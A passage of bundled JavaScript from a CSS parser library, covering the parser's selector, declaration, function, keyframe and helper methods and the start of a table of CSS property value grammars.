(/^@\-([^\-]+)\-/.test(token.value)) { prefix = RegExp.$1; } this._readWhitespace(); functions.push(this._document_function()); while (tokenStream.match(Tokens.COMMA)) { this._readWhitespace(); functions.push(this._document_function()); } tokenStream.mustMatch(Tokens.LBRACE); this._readWhitespace(); this.fire({ type: "startdocument", functions: functions, prefix: prefix, line: token.startLine, col: token.startCol }); var ok = true; while (ok) { switch (tokenStream.peek()) { case Tokens.PAGE_SYM: this._page(); break; case Tokens.FONT_FACE_SYM: this._font_face(); break; case Tokens.VIEWPORT_SYM: this._viewport(); break; case Tokens.MEDIA_SYM: this._media(); break; case Tokens.KEYFRAMES_SYM: this._keyframes(); break; case Tokens.DOCUMENT_SYM: this._document(); break; default: ok = Boolean(this._ruleset()); } } tokenStream.mustMatch(Tokens.RBRACE); token = tokenStream.token(); this._readWhitespace(); this.fire({ type: "enddocument", functions: functions, prefix: prefix, line: token.startLine, col: token.startCol }); }, _document_function: function() { /* * document_function * : function | URI S* * ; */ var tokenStream = this._tokenStream, value; if (tokenStream.match(Tokens.URI)) { value = tokenStream.token().value; this._readWhitespace(); } else { value = this._function(); } return value; }, _operator: function(inFunction) { /* * operator (outside function) * : '/' S* | ',' S* | /( empty )/ * operator (inside function) * : '/' S* | '+' S* | '*' S* | '-' S* /( empty )/ * ; */ var tokenStream = this._tokenStream, token = null; if (tokenStream.match([Tokens.SLASH, Tokens.COMMA]) || (inFunction && tokenStream.match([Tokens.PLUS, Tokens.STAR, Tokens.MINUS]))) { token = tokenStream.token(); this._readWhitespace(); } return token ? PropertyValuePart.fromToken(token) : null; }, _combinator: function() { /* * combinator * : PLUS S* | GREATER S* | TILDE S* | S+ * ; */ var tokenStream = this._tokenStream, value = null, token; if (tokenStream.match([Tokens.PLUS, Tokens.GREATER, Tokens.TILDE])) { token = tokenStream.token(); value = new Combinator(token.value, token.startLine, token.startCol); this._readWhitespace(); } return value; }, _unary_operator: function() { /* * unary_operator * : '-' | '+' * ; */ var tokenStream = this._tokenStream; if (tokenStream.match([Tokens.MINUS, Tokens.PLUS])) { return tokenStream.token().value; } else { return null; } }, _property: function() { /* * property * : IDENT S* * ; */ var tokenStream = this._tokenStream, value = null, hack = null, tokenValue, token, line, col; //check for star hack - throws error if not allowed if (tokenStream.peek() === Tokens.STAR && this.options.starHack) { tokenStream.get(); token = tokenStream.token(); hack = token.value; line = token.startLine; col = token.startCol; } if (tokenStream.match(Tokens.IDENT)) { token = tokenStream.token(); tokenValue = token.value; //check for underscore hack - no error if not allowed because it's valid CSS syntax if (tokenValue.charAt(0) === "_" && this.options.underscoreHack) { hack = "_"; tokenValue = tokenValue.substring(1); } value = new PropertyName(tokenValue, hack, (line||token.startLine), (col||token.startCol)); this._readWhitespace(); } return value; }, //Augmented with CSS3 Selectors _ruleset: function() { /* * ruleset * : selectors_group * '{' S* declaration? [ ';' S* declaration? ]* '}' S* * ; */ var tokenStream = this._tokenStream, tt, selectors; /* * Error Recovery: If even a single selector fails to parse, * then the entire ruleset should be thrown away. */ try { selectors = this._selectors_group(); } catch (ex) { if (ex instanceof SyntaxError && !this.options.strict) { //fire error event this.fire({ type: "error", error: ex, message: ex.message, line: ex.line, col: ex.col }); //skip over everything until closing brace tt = tokenStream.advance([Tokens.RBRACE]); if (tt === Tokens.RBRACE) { //if there's a right brace, the rule is finished so don't do anything } else { //otherwise, rethrow the error because it wasn't handled properly throw ex; } } else { //not a syntax error, rethrow it throw ex; } //trigger parser to continue return true; } //if it got here, all selectors parsed if (selectors) { this.fire({ type: "startrule", selectors: selectors, line: selectors[0].line, col: selectors[0].col }); this._readDeclarations(true); this.fire({ type: "endrule", selectors: selectors, line: selectors[0].line, col: selectors[0].col }); } return selectors; }, //CSS3 Selectors _selectors_group: function() { /* * selectors_group * : selector [ COMMA S* selector ]* * ; */ var tokenStream = this._tokenStream, selectors = [], selector; selector = this._selector(); if (selector !== null) { selectors.push(selector); while (tokenStream.match(Tokens.COMMA)) { this._readWhitespace(); selector = this._selector(); if (selector !== null) { selectors.push(selector); } else { this._unexpectedToken(tokenStream.LT(1)); } } } return selectors.length ? selectors : null; }, //CSS3 Selectors _selector: function() { /* * selector * : simple_selector_sequence [ combinator simple_selector_sequence ]* * ; */ var tokenStream = this._tokenStream, selector = [], nextSelector = null, combinator = null, ws = null; //if there's no simple selector, then there's no selector nextSelector = this._simple_selector_sequence(); if (nextSelector === null) { return null; } selector.push(nextSelector); do { //look for a combinator combinator = this._combinator(); if (combinator !== null) { selector.push(combinator); nextSelector = this._simple_selector_sequence(); //there must be a next selector if (nextSelector === null) { this._unexpectedToken(tokenStream.LT(1)); } else { //nextSelector is an instance of SelectorPart selector.push(nextSelector); } } else { //if there's not whitespace, we're done if (this._readWhitespace()) { //add whitespace separator ws = new Combinator(tokenStream.token().value, tokenStream.token().startLine, tokenStream.token().startCol); //combinator is not required combinator = this._combinator(); //selector is required if there's a combinator nextSelector = this._simple_selector_sequence(); if (nextSelector === null) { if (combinator !== null) { this._unexpectedToken(tokenStream.LT(1)); } } else { if (combinator !== null) { selector.push(combinator); } else { selector.push(ws); } selector.push(nextSelector); } } else { break; } } } while (true); return new Selector(selector, selector[0].line, selector[0].col); }, //CSS3 Selectors _simple_selector_sequence: function() { /* * simple_selector_sequence * : [ type_selector | universal ] * [ HASH | class | attrib | pseudo | negation ]* * | [ HASH | class | attrib | pseudo | negation ]+ * ; */ var tokenStream = this._tokenStream, //parts of a simple selector elementName = null, modifiers = [], //complete selector text selectorText= "", //the different parts after the element name to search for components = [ //HASH function() { return tokenStream.match(Tokens.HASH) ? new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) : null; }, this._class, this._attrib, this._pseudo, this._negation ], i = 0, len = components.length, component = null, line, col; //get starting line and column for the selector line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol; elementName = this._type_selector(); if (!elementName) { elementName = this._universal(); } if (elementName !== null) { selectorText += elementName; } while (true) { //whitespace means we're done if (tokenStream.peek() === Tokens.S) { break; } //check for each component while (i < len && component === null) { component = components[i++].call(this); } if (component === null) { //we don't have a selector if (selectorText === "") { return null; } else { break; } } else { i = 0; modifiers.push(component); selectorText += component.toString(); component = null; } } return selectorText !== "" ? new SelectorPart(elementName, modifiers, selectorText, line, col) : null; }, //CSS3 Selectors _type_selector: function() { /* * type_selector * : [ namespace_prefix ]? element_name * ; */ var tokenStream = this._tokenStream, ns = this._namespace_prefix(), elementName = this._element_name(); if (!elementName) { /* * Need to back out the namespace that was read due to both * type_selector and universal reading namespace_prefix * first. Kind of hacky, but only way I can figure out * right now how to not change the grammar. */ if (ns) { tokenStream.unget(); if (ns.length > 1) { tokenStream.unget(); } } return null; } else { if (ns) { elementName.text = ns + elementName.text; elementName.col -= ns.length; } return elementName; } }, //CSS3 Selectors _class: function() { /* * class * : '.' IDENT * ; */ var tokenStream = this._tokenStream, token; if (tokenStream.match(Tokens.DOT)) { tokenStream.mustMatch(Tokens.IDENT); token = tokenStream.token(); return new SelectorSubPart("." + token.value, "class", token.startLine, token.startCol - 1); } else { return null; } }, //CSS3 Selectors _element_name: function() { /* * element_name * : IDENT * ; */ var tokenStream = this._tokenStream, token; if (tokenStream.match(Tokens.IDENT)) { token = tokenStream.token(); return new SelectorSubPart(token.value, "elementName", token.startLine, token.startCol); } else { return null; } }, //CSS3 Selectors _namespace_prefix: function() { /* * namespace_prefix * : [ IDENT | '*' ]? '|' * ; */ var tokenStream = this._tokenStream, value = ""; //verify that this is a namespace prefix if (tokenStream.LA(1) === Tokens.PIPE || tokenStream.LA(2) === Tokens.PIPE) { if (tokenStream.match([Tokens.IDENT, Tokens.STAR])) { value += tokenStream.token().value; } tokenStream.mustMatch(Tokens.PIPE); value += "|"; } return value.length ? value : null; }, //CSS3 Selectors _universal: function() { /* * universal * : [ namespace_prefix ]? '*' * ; */ var tokenStream = this._tokenStream, value = "", ns; ns = this._namespace_prefix(); if (ns) { value += ns; } if (tokenStream.match(Tokens.STAR)) { value += "*"; } return value.length ? value : null; }, //CSS3 Selectors _attrib: function() { /* * attrib * : '[' S* [ namespace_prefix ]? IDENT S* * [ [ PREFIXMATCH | * SUFFIXMATCH | * SUBSTRINGMATCH | * '=' | * INCLUDES | * DASHMATCH ] S* [ IDENT | STRING ] S* * ]? ']' * ; */ var tokenStream = this._tokenStream, value = null, ns, token; if (tokenStream.match(Tokens.LBRACKET)) { token = tokenStream.token(); value = token.value; value += this._readWhitespace(); ns = this._namespace_prefix(); if (ns) { value += ns; } tokenStream.mustMatch(Tokens.IDENT); value += tokenStream.token().value; value += this._readWhitespace(); if (tokenStream.match([Tokens.PREFIXMATCH, Tokens.SUFFIXMATCH, Tokens.SUBSTRINGMATCH, Tokens.EQUALS, Tokens.INCLUDES, Tokens.DASHMATCH])) { value += tokenStream.token().value; value += this._readWhitespace(); tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]); value += tokenStream.token().value; value += this._readWhitespace(); } tokenStream.mustMatch(Tokens.RBRACKET); return new SelectorSubPart(value + "]", "attribute", token.startLine, token.startCol); } else { return null; } }, //CSS3 Selectors _pseudo: function() { /* * pseudo * : ':' ':'? [ IDENT | functional_pseudo ] * ; */ var tokenStream = this._tokenStream, pseudo = null, colons = ":", line, col; if (tokenStream.match(Tokens.COLON)) { if (tokenStream.match(Tokens.COLON)) { colons += ":"; } if (tokenStream.match(Tokens.IDENT)) { pseudo = tokenStream.token().value; line = tokenStream.token().startLine; col = tokenStream.token().startCol - colons.length; } else if (tokenStream.peek() === Tokens.FUNCTION) { line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol - colons.length; pseudo = this._functional_pseudo(); } if (pseudo) { pseudo = new SelectorSubPart(colons + pseudo, "pseudo", line, col); } else { var startLine = tokenStream.LT(1).startLine, startCol = tokenStream.LT(0).startCol; throw new SyntaxError("Expected a `FUNCTION` or `IDENT` after colon at line " + startLine + ", col " + startCol + ".", startLine, startCol); } } return pseudo; }, //CSS3 Selectors _functional_pseudo: function() { /* * functional_pseudo * : FUNCTION S* expression ')' * ; */ var tokenStream = this._tokenStream, value = null; if (tokenStream.match(Tokens.FUNCTION)) { value = tokenStream.token().value; value += this._readWhitespace(); value += this._expression(); tokenStream.mustMatch(Tokens.RPAREN); value += ")"; } return value; }, //CSS3 Selectors _expression: function() { /* * expression * : [ [ PLUS | '-' | DIMENSION | NUMBER | STRING | IDENT ] S* ]+ * ; */ var tokenStream = this._tokenStream, value = ""; while (tokenStream.match([Tokens.PLUS, Tokens.MINUS, Tokens.DIMENSION, Tokens.NUMBER, Tokens.STRING, Tokens.IDENT, Tokens.LENGTH, Tokens.FREQ, Tokens.ANGLE, Tokens.TIME, Tokens.RESOLUTION, Tokens.SLASH])) { value += tokenStream.token().value; value += this._readWhitespace(); } return value.length ? value : null; }, //CSS3 Selectors _negation: function() { /* * negation * : NOT S* negation_arg S* ')' * ; */ var tokenStream = this._tokenStream, line, col, value = "", arg, subpart = null; if (tokenStream.match(Tokens.NOT)) { value = tokenStream.token().value; line = tokenStream.token().startLine; col = tokenStream.token().startCol; value += this._readWhitespace(); arg = this._negation_arg(); value += arg; value += this._readWhitespace(); tokenStream.match(Tokens.RPAREN); value += tokenStream.token().value; subpart = new SelectorSubPart(value, "not", line, col); subpart.args.push(arg); } return subpart; }, //CSS3 Selectors _negation_arg: function() { /* * negation_arg * : type_selector | universal | HASH | class | attrib | pseudo * ; */ var tokenStream = this._tokenStream, args = [ this._type_selector, this._universal, function() { return tokenStream.match(Tokens.HASH) ? new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) : null; }, this._class, this._attrib, this._pseudo ], arg = null, i = 0, len = args.length, line, col, part; line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol; while (i < len && arg === null) { arg = args[i].call(this); i++; } //must be a negation arg if (arg === null) { this._unexpectedToken(tokenStream.LT(1)); } //it's an element name if (arg.type === "elementName") { part = new SelectorPart(arg, [], arg.toString(), line, col); } else { part = new SelectorPart(null, [arg], arg.toString(), line, col); } return part; }, _declaration: function() { /* * declaration * : property ':' S* expr prio? * | /( empty )/ * ; */ var tokenStream = this._tokenStream, property = null, expr = null, prio = null, invalid = null, propertyName= ""; property = this._property(); if (property !== null) { tokenStream.mustMatch(Tokens.COLON); this._readWhitespace(); expr = this._expr(); //if there's no parts for the value, it's an error if (!expr || expr.length === 0) { this._unexpectedToken(tokenStream.LT(1)); } prio = this._prio(); /* * If hacks should be allowed, then only check the root * property. If hacks should not be allowed, treat * _property or *property as invalid properties. */ propertyName = property.toString(); if (this.options.starHack && property.hack === "*" || this.options.underscoreHack && property.hack === "_") { propertyName = property.text; } try { this._validateProperty(propertyName, expr); } catch (ex) { invalid = ex; } this.fire({ type: "property", property: property, value: expr, important: prio, line: property.line, col: property.col, invalid: invalid }); return true; } else { return false; } }, _prio: function() { /* * prio * : IMPORTANT_SYM S* * ; */ var tokenStream = this._tokenStream, result = tokenStream.match(Tokens.IMPORTANT_SYM); this._readWhitespace(); return result; }, _expr: function(inFunction) { /* * expr * : term [ operator term ]* * ; */ var values = [], //valueParts = [], value = null, operator = null; value = this._term(inFunction); if (value !== null) { values.push(value); do { operator = this._operator(inFunction); //if there's an operator, keep building up the value parts if (operator) { values.push(operator); } /*else { //if there's not an operator, you have a full value values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col)); valueParts = []; }*/ value = this._term(inFunction); if (value === null) { break; } else { values.push(value); } } while (true); } //cleanup /*if (valueParts.length) { values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col)); }*/ return values.length > 0 ? new PropertyValue(values, values[0].line, values[0].col) : null; }, _term: function(inFunction) { /* * term * : unary_operator? * [ NUMBER S* | PERCENTAGE S* | LENGTH S* | ANGLE S* | * TIME S* | FREQ S* | function | ie_function ] * | STRING S* | IDENT S* | URI S* | UNICODERANGE S* | hexcolor * ; */ var tokenStream = this._tokenStream, unary = null, value = null, endChar = null, part = null, token, line, col; //returns the operator or null unary = this._unary_operator(); if (unary !== null) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; } //exception for IE filters if (tokenStream.peek() === Tokens.IE_FUNCTION && this.options.ieFilters) { value = this._ie_function(); if (unary === null) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; } //see if it's a simple block } else if (inFunction && tokenStream.match([Tokens.LPAREN, Tokens.LBRACE, Tokens.LBRACKET])) { token = tokenStream.token(); endChar = token.endChar; value = token.value + this._expr(inFunction).text; if (unary === null) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; } tokenStream.mustMatch(Tokens.type(endChar)); value += endChar; this._readWhitespace(); //see if there's a simple match } else if (tokenStream.match([Tokens.NUMBER, Tokens.PERCENTAGE, Tokens.LENGTH, Tokens.ANGLE, Tokens.TIME, Tokens.FREQ, Tokens.STRING, Tokens.IDENT, Tokens.URI, Tokens.UNICODE_RANGE])) { value = tokenStream.token().value; if (unary === null) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; // Correct potentially-inaccurate IDENT parsing in // PropertyValuePart constructor. part = PropertyValuePart.fromToken(tokenStream.token()); } this._readWhitespace(); } else { //see if it's a color token = this._hexcolor(); if (token === null) { //if there's no unary, get the start of the next token for line/col info if (unary === null) { line = tokenStream.LT(1).startLine; col = tokenStream.LT(1).startCol; } //has to be a function if (value === null) { /* * This checks for alpha(opacity=0) style of IE * functions. IE_FUNCTION only presents progid: style. */ if (tokenStream.LA(3) === Tokens.EQUALS && this.options.ieFilters) { value = this._ie_function(); } else { value = this._function(); } } /*if (value === null) { return null; //throw new Error("Expected identifier at line " + tokenStream.token().startLine + ", character " + tokenStream.token().startCol + "."); }*/ } else { value = token.value; if (unary === null) { line = token.startLine; col = token.startCol; } } } return part !== null ? part : value !== null ? new PropertyValuePart(unary !== null ? unary + value : value, line, col) : null; }, _function: function() { /* * function * : FUNCTION S* expr ')' S* * ; */ var tokenStream = this._tokenStream, functionText = null, expr = null, lt; if (tokenStream.match(Tokens.FUNCTION)) { functionText = tokenStream.token().value; this._readWhitespace(); expr = this._expr(true); functionText += expr; //START: Horrible hack in case it's an IE filter if (this.options.ieFilters && tokenStream.peek() === Tokens.EQUALS) { do { if (this._readWhitespace()) { functionText += tokenStream.token().value; } //might be second time in the loop if (tokenStream.LA(0) === Tokens.COMMA) { functionText += tokenStream.token().value; } tokenStream.match(Tokens.IDENT); functionText += tokenStream.token().value; tokenStream.match(Tokens.EQUALS); functionText += tokenStream.token().value; //functionText += this._term(); lt = tokenStream.peek(); while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) { tokenStream.get(); functionText += tokenStream.token().value; lt = tokenStream.peek(); } } while (tokenStream.match([Tokens.COMMA, Tokens.S])); } //END: Horrible Hack tokenStream.match(Tokens.RPAREN); functionText += ")"; this._readWhitespace(); } return functionText; }, _ie_function: function() { /* (My own extension) * ie_function * : IE_FUNCTION S* IDENT '=' term [S* ','? IDENT '=' term]+ ')' S* * ; */ var tokenStream = this._tokenStream, functionText = null, lt; //IE function can begin like a regular function, too if (tokenStream.match([Tokens.IE_FUNCTION, Tokens.FUNCTION])) { functionText = tokenStream.token().value; do { if (this._readWhitespace()) { functionText += tokenStream.token().value; } //might be second time in the loop if (tokenStream.LA(0) === Tokens.COMMA) { functionText += tokenStream.token().value; } tokenStream.match(Tokens.IDENT); functionText += tokenStream.token().value; tokenStream.match(Tokens.EQUALS); functionText += tokenStream.token().value; //functionText += this._term(); lt = tokenStream.peek(); while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) { tokenStream.get(); functionText += tokenStream.token().value; lt = tokenStream.peek(); } } while (tokenStream.match([Tokens.COMMA, Tokens.S])); tokenStream.match(Tokens.RPAREN); functionText += ")"; this._readWhitespace(); } return functionText; }, _hexcolor: function() { /* * There is a constraint on the color that it must * have either 3 or 6 hex-digits (i.e., [0-9a-fA-F]) * after the "#"; e.g., "#000" is OK, but "#abcd" is not. * * hexcolor * : HASH S* * ; */ var tokenStream = this._tokenStream, token = null, color; if (tokenStream.match(Tokens.HASH)) { //need to do some validation here token = tokenStream.token(); color = token.value; if (!/#[a-f0-9]{3,6}/i.test(color)) { throw new SyntaxError("Expected a hex color but found '" + color + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol); } this._readWhitespace(); } return token; }, //----------------------------------------------------------------- // Animations methods //----------------------------------------------------------------- _keyframes: function() { /* * keyframes: * : KEYFRAMES_SYM S* keyframe_name S* '{' S* keyframe_rule* '}' { * ; */ var tokenStream = this._tokenStream, token, tt, name, prefix = ""; tokenStream.mustMatch(Tokens.KEYFRAMES_SYM); token = tokenStream.token(); if (/^@\-([^\-]+)\-/.test(token.value)) { prefix = RegExp.$1; } this._readWhitespace(); name = this._keyframe_name(); this._readWhitespace(); tokenStream.mustMatch(Tokens.LBRACE); this.fire({ type: "startkeyframes", name: name, prefix: prefix, line: token.startLine, col: token.startCol }); this._readWhitespace(); tt = tokenStream.peek(); //check for key while (tt === Tokens.IDENT || tt === Tokens.PERCENTAGE) { this._keyframe_rule(); this._readWhitespace(); tt = tokenStream.peek(); } this.fire({ type: "endkeyframes", name: name, prefix: prefix, line: token.startLine, col: token.startCol }); this._readWhitespace(); tokenStream.mustMatch(Tokens.RBRACE); this._readWhitespace(); }, _keyframe_name: function() { /* * keyframe_name: * : IDENT * | STRING * ; */ var tokenStream = this._tokenStream; tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]); return SyntaxUnit.fromToken(tokenStream.token()); }, _keyframe_rule: function() { /* * keyframe_rule: * : key_list S* * '{' S* declaration [ ';' S* declaration ]* '}' S* * ; */ var keyList = this._key_list(); this.fire({ type: "startkeyframerule", keys: keyList, line: keyList[0].line, col: keyList[0].col }); this._readDeclarations(true); this.fire({ type: "endkeyframerule", keys: keyList, line: keyList[0].line, col: keyList[0].col }); }, _key_list: function() { /* * key_list: * : key [ S* ',' S* key]* * ; */ var tokenStream = this._tokenStream, keyList = []; //must be least one key keyList.push(this._key()); this._readWhitespace(); while (tokenStream.match(Tokens.COMMA)) { this._readWhitespace(); keyList.push(this._key()); this._readWhitespace(); } return keyList; }, _key: function() { /* * There is a restriction that IDENT can be only "from" or "to". * * key * : PERCENTAGE * | IDENT * ; */ var tokenStream = this._tokenStream, token; if (tokenStream.match(Tokens.PERCENTAGE)) { return SyntaxUnit.fromToken(tokenStream.token()); } else if (tokenStream.match(Tokens.IDENT)) { token = tokenStream.token(); if (/from|to/i.test(token.value)) { return SyntaxUnit.fromToken(token); } tokenStream.unget(); } //if it gets here, there wasn't a valid token, so time to explode this._unexpectedToken(tokenStream.LT(1)); }, //----------------------------------------------------------------- // Helper methods //----------------------------------------------------------------- /** * Not part of CSS grammar, but useful for skipping over * combination of white space and HTML-style comments. * @return {void} * @method _skipCruft * @private */ _skipCruft: function() { while (this._tokenStream.match([Tokens.S, Tokens.CDO, Tokens.CDC])) { //noop } }, /** * Not part of CSS grammar, but this pattern occurs frequently * in the official CSS grammar. Split out here to eliminate * duplicate code. * @param {Boolean} checkStart Indicates if the rule should check * for the left brace at the beginning. * @param {Boolean} readMargins Indicates if the rule should check * for margin patterns. * @return {void} * @method _readDeclarations * @private */ _readDeclarations: function(checkStart, readMargins) { /* * Reads the pattern * S* '{' S* declaration [ ';' S* declaration ]* '}' S* * or * S* '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S* * Note that this is how it is described in CSS3 Paged Media, but is actually incorrect. * A semicolon is only necessary following a declaration if there's another declaration * or margin afterwards. */ var tokenStream = this._tokenStream, tt; this._readWhitespace(); if (checkStart) { tokenStream.mustMatch(Tokens.LBRACE); } this._readWhitespace(); try { while (true) { if (tokenStream.match(Tokens.SEMICOLON) || (readMargins && this._margin())) { //noop } else if (this._declaration()) { if (!tokenStream.match(Tokens.SEMICOLON)) { break; } } else { break; } //if ((!this._margin() && !this._declaration()) || !tokenStream.match(Tokens.SEMICOLON)){ // break; //} this._readWhitespace(); } tokenStream.mustMatch(Tokens.RBRACE); this._readWhitespace(); } catch (ex) { if (ex instanceof SyntaxError && !this.options.strict) { //fire error event this.fire({ type: "error", error: ex, message: ex.message, line: ex.line, col: ex.col }); //see if there's another declaration tt = tokenStream.advance([Tokens.SEMICOLON, Tokens.RBRACE]); if (tt === Tokens.SEMICOLON) { //if there's a semicolon, then there might be another declaration this._readDeclarations(false, readMargins); } else if (tt !== Tokens.RBRACE) { //if there's a right brace, the rule is finished so don't do anything //otherwise, rethrow the error because it wasn't handled properly throw ex; } } else { //not a syntax error, rethrow it throw ex; } } }, /** * In some cases, you can end up with two white space tokens in a * row. Instead of making a change in every function that looks for * white space, this function is used to match as much white space * as necessary. * @method _readWhitespace * @return {String} The white space if found, empty string if not. * @private */ _readWhitespace: function() { var tokenStream = this._tokenStream, ws = ""; while (tokenStream.match(Tokens.S)) { ws += tokenStream.token().value; } return ws; }, /** * Throws an error when an unexpected token is found. * @param {Object} token The token that was found. * @method _unexpectedToken * @return {void} * @private */ _unexpectedToken: function(token) { throw new SyntaxError("Unexpected token '" + token.value + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol); }, /** * Helper method used for parsing subparts of a style sheet. * @return {void} * @method _verifyEnd * @private */ _verifyEnd: function() { if (this._tokenStream.LA(1) !== Tokens.EOF) { this._unexpectedToken(this._tokenStream.LT(1)); } }, //----------------------------------------------------------------- // Validation methods //----------------------------------------------------------------- _validateProperty: function(property, value) { Validation.validate(property, value); }, //----------------------------------------------------------------- // Parsing methods //----------------------------------------------------------------- parse: function(input) { this._tokenStream = new TokenStream(input, Tokens); this._stylesheet(); }, parseStyleSheet: function(input) { //just passthrough return this.parse(input); }, parseMediaQuery: function(input) { this._tokenStream = new TokenStream(input, Tokens); var result = this._media_query(); //if there's anything more, then it's an invalid selector this._verifyEnd(); //otherwise return result return result; }, /** * Parses a property value (everything after the semicolon). * @return {parserlib.css.PropertyValue} The property value. * @throws parserlib.util.SyntaxError If an unexpected token is found. * @method parserPropertyValue */ parsePropertyValue: function(input) { this._tokenStream = new TokenStream(input, Tokens); this._readWhitespace(); var result = this._expr(); //okay to have a trailing white space this._readWhitespace(); //if there's anything more, then it's an invalid selector this._verifyEnd(); //otherwise return result return result; }, /** * Parses a complete CSS rule, including selectors and * properties. * @param {String} input The text to parser. * @return {Boolean} True if the parse completed successfully, false if not. * @method parseRule */ parseRule: function(input) { this._tokenStream = new TokenStream(input, Tokens); //skip any leading white space this._readWhitespace(); var result = this._ruleset(); //skip any trailing white space this._readWhitespace(); //if there's anything more, then it's an invalid selector this._verifyEnd(); //otherwise return result return result; }, /** * Parses a single CSS selector (no comma) * @param {String} input The text to parse as a CSS selector. * @return {Selector} An object representing the selector. * @throws parserlib.util.SyntaxError If an unexpected token is found. * @method parseSelector */ parseSelector: function(input) { this._tokenStream = new TokenStream(input, Tokens); //skip any leading white space this._readWhitespace(); var result = this._selector(); //skip any trailing white space this._readWhitespace(); //if there's anything more, then it's an invalid selector this._verifyEnd(); //otherwise return result return result; }, /** * Parses an HTML style attribute: a set of CSS declarations * separated by semicolons. * @param {String} input The text to parse as a style attribute * @return {void} * @method parseStyleAttribute */ parseStyleAttribute: function(input) { input += "}"; // for error recovery in _readDeclarations() this._tokenStream = new TokenStream(input, Tokens); this._readDeclarations(); } }; //copy over onto prototype for (prop in additions) { if (Object.prototype.hasOwnProperty.call(additions, prop)) { proto[prop] = additions[prop]; } } return proto; }(); /* nth : S* [ ['-'|'+']? INTEGER? {N} [ S* ['-'|'+'] S* INTEGER ]? | ['-'|'+']? INTEGER | {O}{D}{D} | {E}{V}{E}{N} ] S* ; */ },{"../util/EventTarget":23,"../util/SyntaxError":25,"../util/SyntaxUnit":26,"./Combinator":2,"./MediaFeature":4,"./MediaQuery":5,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./TokenStream":17,"./Tokens":18,"./Validation":19}],7:[function(require,module,exports){ "use strict"; /* exported Properties */ var Properties = module.exports = { __proto__: null, //A "align-items" : "flex-start | flex-end | center | baseline | stretch", "align-content" : "flex-start | flex-end | center | space-between | space-around | stretch", "align-self" : "auto | flex-start | flex-end | center | baseline | stretch", "all" : "initial | inherit | unset", "-webkit-align-items" : "flex-start | flex-end | center | baseline | stretch", "-webkit-align-content" : "flex-start | flex-end | center | space-between | space-around | stretch", "-webkit-align-self" : "auto | flex-start | flex-end | center | baseline | stretch", "alignment-adjust" : "auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | | ", "alignment-baseline" : "auto | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical", "animation" : 1, "animation-delay" : "